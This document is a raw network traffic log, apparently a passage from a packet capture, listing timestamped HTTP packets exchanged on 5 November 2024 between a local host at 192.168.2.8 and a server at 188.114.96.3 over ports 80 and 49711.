Nov 5, 2024 12:43:36.177959919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177972078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178004980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178006887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178016901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178051949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178137064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178145885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178158998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178169012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178179026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178189039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178191900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178206921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178224087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178392887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178405046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178412914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178422928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178433895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178442001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178447008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178461075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178481102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178589106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178601027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178611994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178622961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178632975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178638935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178657055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178675890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178736925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178749084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178781986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178858042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178875923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178885937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178895950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178905964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178906918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178919077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178930044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178936005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178937912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178951979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.178966045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.178981066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179017067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179160118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179169893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179181099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179210901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179227114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179302931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179323912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179335117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179344893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179346085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179357052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179363966 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179382086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179410934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179430962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179510117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179521084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179532051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179533005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179543972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179548025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179578066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179599047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179667950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179678917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179717064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179748058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179760933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179770947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179783106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179792881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179797888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179804087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179807901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179816008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.179846048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.179857969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.207078934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207149982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207161903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207180023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207191944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207202911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207215071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.207214117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.207252026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.207252026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211246967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211291075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211303949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211348057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211376905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211421013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211426020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211447954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211457968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211468935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211484909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211497068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211519957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211611032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211622953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211637020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211646080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211668015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211704969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211730957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211744070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211755037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211765051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211781979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211807013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211837053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211879969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.211968899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211981058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.211992025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212002993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212013006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212017059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212022066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212029934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212033987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212048054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212059021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212075949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212096930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212172985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212184906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212214947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212238073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212279081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212291002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212301970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212312937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212321043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212325096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212333918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212337017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212354898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212362051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212367058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212384939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212397099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212398052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212436914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212444067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212450027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212462902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212474108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.212503910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212503910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.212522030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.257072926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.257092953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.257141113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.257170916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.257189989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.257224083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.257241011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.257265091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292198896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292260885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292351961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292366028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292378902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292391062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292403936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292406082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292418003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292418957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292431116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292434931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292447090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292475939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292490005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292495012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292507887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292520046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292532921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292536974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292561054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292589903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292601109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292613029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292643070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292654991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292711020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292723894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292743921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292753935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292756081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292763948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292767048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292772055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292792082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292810917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292829990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292897940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292912006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292922974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.292947054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292965889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.292999983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293013096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293025017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293040037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293051958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293068886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293082952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293190002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293200970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293211937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293224096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293230057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293235064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293237925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293241978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293250084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293256998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293318033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293423891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293436050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293447018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293474913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293487072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293572903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293585062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293596029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293608904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293620110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293621063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293632030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293633938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293656111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293687105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293713093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293724060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293734074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293766022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293766022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293776989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293801069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293812037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293818951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.293824911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293848991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.293875933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294025898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294038057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294049978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294059992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294070959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294073105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294084072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294095039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294110060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294131041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294255972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294266939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294276953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294284105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294295073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294301033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294301033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294313908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294313908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294327021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294369936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294369936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294503927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294514894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294527054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294539928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294552088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294553041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294568062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294575930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294580936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294595003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294616938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294801950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294814110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294833899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294846058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294857025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294857025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294868946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294871092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294881105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294887066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294893026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294895887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294903994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294910908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294922113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294933081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294934034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.294948101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294956923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.294970036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.295243979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295255899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295268059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295279980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295286894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.295294046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295298100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.295310020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.295341015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.295355082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322662115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322736979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322745085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322757006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322767973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322779894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322784901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322788000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322798014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322798967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322823048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322855949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.322858095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.322899103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326725960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326741934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326762915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326776981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326786995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326787949 CET	80	49711	188.114.96.3	192.168.2.8
